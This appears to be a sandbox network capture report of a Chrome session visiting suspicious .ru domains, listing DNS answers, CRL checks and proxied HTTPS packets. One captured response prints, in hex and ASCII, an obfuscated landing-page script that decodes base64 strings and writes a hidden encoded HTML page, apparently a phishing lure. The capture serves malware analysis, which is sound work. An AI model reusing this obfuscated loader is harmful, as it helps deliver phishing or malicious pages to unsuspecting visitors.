Mar 27, 2025 00:47:00.966182947 CET	1.1.1.1	192.168.2.4	0x15da	No error (0)	2tvg7b.nmpjkg.ru		104.21.80.1	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:47:00.966182947 CET	1.1.1.1	192.168.2.4	0x15da	No error (0)	2tvg7b.nmpjkg.ru		104.21.112.1	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:47:00.966182947 CET	1.1.1.1	192.168.2.4	0x15da	No error (0)	2tvg7b.nmpjkg.ru		104.21.96.1	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:47:00.966182947 CET	1.1.1.1	192.168.2.4	0x15da	No error (0)	2tvg7b.nmpjkg.ru		104.21.32.1	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:47:00.966182947 CET	1.1.1.1	192.168.2.4	0x15da	No error (0)	2tvg7b.nmpjkg.ru		104.21.16.1	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:47:00.966182947 CET	1.1.1.1	192.168.2.4	0x15da	No error (0)	2tvg7b.nmpjkg.ru		104.21.48.1	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:47:00.966201067 CET	1.1.1.1	192.168.2.4	0x632f	No error (0)	2tvg7b.nmpjkg.ru			65	IN (0x0001)	false
Mar 27, 2025 00:47:01.574465036 CET	1.1.1.1	192.168.2.4	0xf965	No error (0)	c2uah.yazvbqkl.ru		172.64.80.1	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:47:01.574801922 CET	1.1.1.1	192.168.2.4	0xdaf7	No error (0)	c2uah.yazvbqkl.ru			65	IN (0x0001)	false
Mar 27, 2025 00:47:02.569957018 CET	1.1.1.1	192.168.2.4	0xf7f7	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:47:04.160547018 CET	1.1.1.1	192.168.2.4	0xee65	No error (0)	www.flipkart.com	flipkart.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 00:47:04.195501089 CET	1.1.1.1	192.168.2.4	0x33e3	No error (0)	www.flipkart.com	flipkart.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 00:47:04.195501089 CET	1.1.1.1	192.168.2.4	0x33e3	No error (0)	flipkart.com		103.243.32.90	A (IP address)	IN (0x0001)	false
Mar 27, 2025 00:48:02.571526051 CET	1.1.1.1	192.168.2.4	0x73ab	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

c2uah.yazvbqkl.ru

cdnjs.cloudflare.com

code.jquery.com

developers.cloudflare.com

2tvg7b.nmpjkg.ru

www.flipkart.com

a.nel.cloudflare.com

c.pki.goog

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.4	49736	142.250.65.163	80

Timestamp	Bytes transferred	Direction	Data
Mar 27, 2025 00:46:59.972445965 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 27, 2025 00:47:00.057398081 CET	223	IN	HTTP/1.1 304 Not Modified Date: Wed, 26 Mar 2025 23:09:48 GMT Expires: Wed, 26 Mar 2025 23:59:48 GMT Age: 2232 Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 27, 2025 00:47:00.062963009 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 27, 2025 00:47:00.148336887 CET	223	IN	HTTP/1.1 304 Not Modified Date: Wed, 26 Mar 2025 23:00:24 GMT Expires: Wed, 26 Mar 2025 23:50:24 GMT Age: 2796 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49726	172.64.80.1	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:46:52 UTC	676	OUT	GET /QPImv5ff/ HTTP/1.1 Host: c2uah.yazvbqkl.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 23:46:53 UTC	1238	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:46:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Cache-Control: no-cache, private Cf-Cache-Status: DYNAMIC Vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NKDgiYVXC4iPTTPAtm2nBVxJS3zFkgJ%2FMWdDkDrQATMWpOLMA6%2Bh02z8NerXcKMhY4jg%2F9OPhhRuAzrSnemsdSk9%2FdEm2FSYWZzjqersEm%2Ba55hLg%2BeZYL7fULiOI3FsTyjF"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=8708&min_rtt=8336&rtt_var=2660&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1581&delivery_rate=339573&cwnd=249&unsent_bytes=0&cid=0d3310d41915aac2&ts=361&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Ijg2UEtuSGFnVVVsZDNjRFY3aTcwWFE9PSIsInZhbHVlIjoiQlVyQ0tWV2pJYnJZcEUyTG9LbFg1dXJmZ0FsckN6V1pWRjZLYytvQ0kvVm4vUnRNVE5qbjlYQ3RVMHdIcThmRGRLbTlFUEM4V3NQWExpaFB3OHhWVE1wNlNtT0RVTnhlV0thalM2TjNnWERZcnVNOG9JbWM0TmR4eWw4SXMvQ04iLCJtYWMiOiJiOGIyYjU1OThiNGU2ZjA4ZTgzMDIyNzQ1YTFlY2ViY2VlNDQ5M2ZjZWM4NmJmOTczMzgxMDk0OTg5N2ZhZmY0IiwidGFnIjoiIn0%3D; SameSite=None; Secure; Path=/; Max-Age=7200; Expires=Thu, 27 Mar 2025 01:46:53 GMT
2025-03-26 23:46:53 UTC	528	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 56 44 52 45 35 30 54 45 74 58 65 6a 5a 76 63 30 55 76 4f 48 6c 4c 65 56 42 6a 52 48 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 5a 45 39 44 59 6a 64 51 55 6e 49 72 51 58 68 46 63 55 35 50 4e 7a 5a 73 53 7a 4e 56 52 6a 68 61 62 7a 56 5a 65 44 4e 69 51 7a 4e 76 57 48 6c 6c 65 46 5a 69 61 47 6b 72 55 58 42 6e 54 31 67 76 61 55 78 48 4e 55 67 79 65 6c 42 34 55 6e 4e 69 56 46 70 47 52 55 56 56 55 56 42 4b 64 32 35 75 4d 46 4e 6c 56 55 6c 34 4e 57 34 32 62 55 30 31 5a 54 4a 68 64 31 4e 44 57 46 68 46 57 45 51 33 59 6e 6c 42 61 45 78 44 56 7a 4a 5a 4f 56 52 6b 63 58 46 74 57 55 39 72 61 47 70 56 5a 30 63 31 52 6b 5a 30 53 6e 5a 35 53 56 6b Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjVDRE50TEtXejZvc0UvOHlLeVBjRHc9PSIsInZhbHVlIjoiZE9DYjdQUnIrQXhFcU5PNzZsSzNVRjhabzVZeDNiQzNvWHlleFZiaGkrUXBnT1gvaUxHNUgyelB4UnNiVFpGRUVVUVBKd25uMFNlVUl4NW42bU01ZTJhd1NDWFhFWEQ3YnlBaExDVzJZOVRkcXFtWU9raGpVZ0c1RkZ0SnZ5SVk
2025-03-26 23:46:53 UTC	1369	IN	Data Raw: 31 61 64 64 0d 0a 3c 73 63 72 69 70 74 3e 0a 44 51 72 63 69 71 6f 69 47 79 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 6a 4d 6e 56 68 61 43 35 35 59 58 70 32 59 6e 46 72 62 43 35 79 64 53 39 52 55 45 6c 74 64 6a 56 6d 5a 69 38 3d 22 29 3b 0a 71 73 74 6a 5a 5a 4c 73 6f 71 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 49 70 70 53 4f 72 48 71 6d 44 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 44 51 72 63 69 71 6f 69 47 79 20 3d 3d 20 71 73 74 6a 5a 5a 4c 73 6f 71 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 49 70 70 53 4f 72 48 71 6d 44 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b Data Ascii: 1add<script>DQrciqoiGy = atob("aHR0cHM6Ly9jMnVhaC55YXp2YnFrbC5ydS9RUEltdjVmZi8=");qstjZZLsoq = atob("bm9tYXRjaA==");IppSOrHqmD = atob("d3JpdGU=");if(DQrciqoiGy == qstjZZLsoq){document[IppSOrHqmD](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+
2025-03-26 23:46:53 UTC	1369	IN	Data Raw: 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 Data Ascii: Wk44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g7
2025-03-26 23:46:53 UTC	1369	IN	Data Raw: 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 Data Ascii: k44Wk44Wk776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk77
2025-03-26 23:46:53 UTC	1369	IN	Data Raw: 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 Data Ascii: 44Wk776g776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44W
2025-03-26 23:46:53 UTC	1369	IN	Data Raw: 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 Data Ascii: 76g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk44Wk776g44Wk776g
2025-03-26 23:46:53 UTC	40	IN	Data Raw: 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 0d 0a Data Ascii: Wk776g776g776g44Wk776g44Wk776g776g776g
2025-03-26 23:46:53 UTC	535	IN	Data Raw: 32 31 30 0d 0a 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 Data Ascii: 210776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g44Wk44Wk44
2025-03-26 23:46:53 UTC	1369	IN	Data Raw: 33 33 31 33 0d 0a 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 Data Ascii: 331344Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g44Wk776g776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk4
2025-03-26 23:46:53 UTC	1369	IN	Data Raw: 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 Data Ascii: g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g77

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49730	104.17.25.14	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:46:54 UTC	692	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://c2uah.yazvbqkl.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 23:46:54 UTC	965	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:46:54 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 22810 Expires: Mon, 16 Mar 2026 23:46:54 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xn3cFa%2BXIbOsBnb2PqTNlPVEBnQU%2BFZ6HJkmiH5sqtgZzT37s%2FEXv5Y3Z64OPQ2KeFh%2Fxz%2FyTJkDn7FDA2%2BcC68ec8TKOzKFqBIruOOBHfvEZQwyCvVDws%2FBVctku4HgQpIvEEIB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 926a87b12acd4210-EWR alt-svc: h3=":443"; ma=86400
2025-03-26 23:46:54 UTC	404	IN	Data Raw: 37 62 65 61 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bea!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-26 23:46:54 UTC	1369	IN	Data Raw: 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 Data Ascii: =typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Obje
2025-03-26 23:46:54 UTC	1369	IN	Data Raw: 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f Data Ascii: clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.rando
2025-03-26 23:46:54 UTC	1369	IN	Data Raw: 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 Data Ascii: g"==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a
